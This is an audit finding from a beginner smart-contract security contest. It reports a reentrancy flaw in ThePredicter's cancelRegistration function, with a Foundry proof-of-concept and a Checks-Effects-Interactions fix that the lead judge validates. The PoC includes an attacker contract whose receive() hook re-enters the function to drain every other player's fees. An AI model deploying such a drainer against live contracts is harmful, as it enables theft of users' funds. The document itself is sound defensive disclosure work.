First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

A registered user can withdraw the `ThePredicter` balance because of a reentrancy vulnerability when calling `ThePredicter.cancelRegistration`

supplisec

Summary

After a user is registered they can withdraw the paid entrance fee by calling ThePredicter.cancelRegistration. The lack of playersStatus[msg.sender] updates before calling msg.sender.call, lead a malicious Smart contract user to reenter the function and withdraw the ThePredicter balance.

Vulnerability Details

The function ThePredicter.cancelRegistration calls msg.sender.call{value: entranceFee}(""); and only after the call updates the player status. If the player is a Smart Contract, when receiving the entranceFee, it can call again ThePredicter.cancelRegistration during the same transaction (inside a receive or fallback function) and withdraw the ThePredicter balance.

Impact

A registered player can withdraw the entire ThePredicter contract balance. Other players cannot withdraw their fee by calling cancelRegistration.

PoC

Add the following unit-test at the end of the ThePredicter.test.sol file. In the PoC, another user (stranger) is registered to increase the balance of the ThePredicter account and to demonstrate that after the attack, other players are not able to withdraw the paid fee.

...
​
contract ThePredicterTest is Test {
...
​
function test_CancelRegistration() public {
PoC poc = new PoC(address(thePredicter));
​
// stranger user is registered and registration fee paid
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
// evil user is registered and registration fee paid
vm.startPrank(address(poc));
vm.deal(address(poc), 0.04 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
uint256 totalPredicterBalance = address(thePredicter).balance;
​
assertEq(uint(thePredicter.playersStatus(address(poc))), uint(ThePredicter.Status.Pending));
assertEq(address(poc).balance, 0);
assertEq(totalPredicterBalance, 0.08 ether);
​
vm.startPrank(address(poc));
poc.run(); //withdraw all ThePredicter's balance
vm.stopPrank();
​
assertEq(address(poc).balance, totalPredicterBalance);
assertEq(address(thePredicter).balance, 0);
​
vm.expectRevert(bytes("Failed to withdraw"));
vm.startPrank(stranger);
thePredicter.cancelRegistration();
vm.stopPrank();
}
​
}
​
contract PoC {
​
ThePredicter public predicter;
​
constructor (address _predicter) {
predicter = ThePredicter(_predicter);
}
​
function run() public {
predicter.cancelRegistration();
}
​
receive() external payable {
if (address(predicter).balance > 0) {
predicter.cancelRegistration();
}
}
}

Tools Used

Manual code review

Recommendations

Apply the Checks-Effects-Interactions pattern:

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.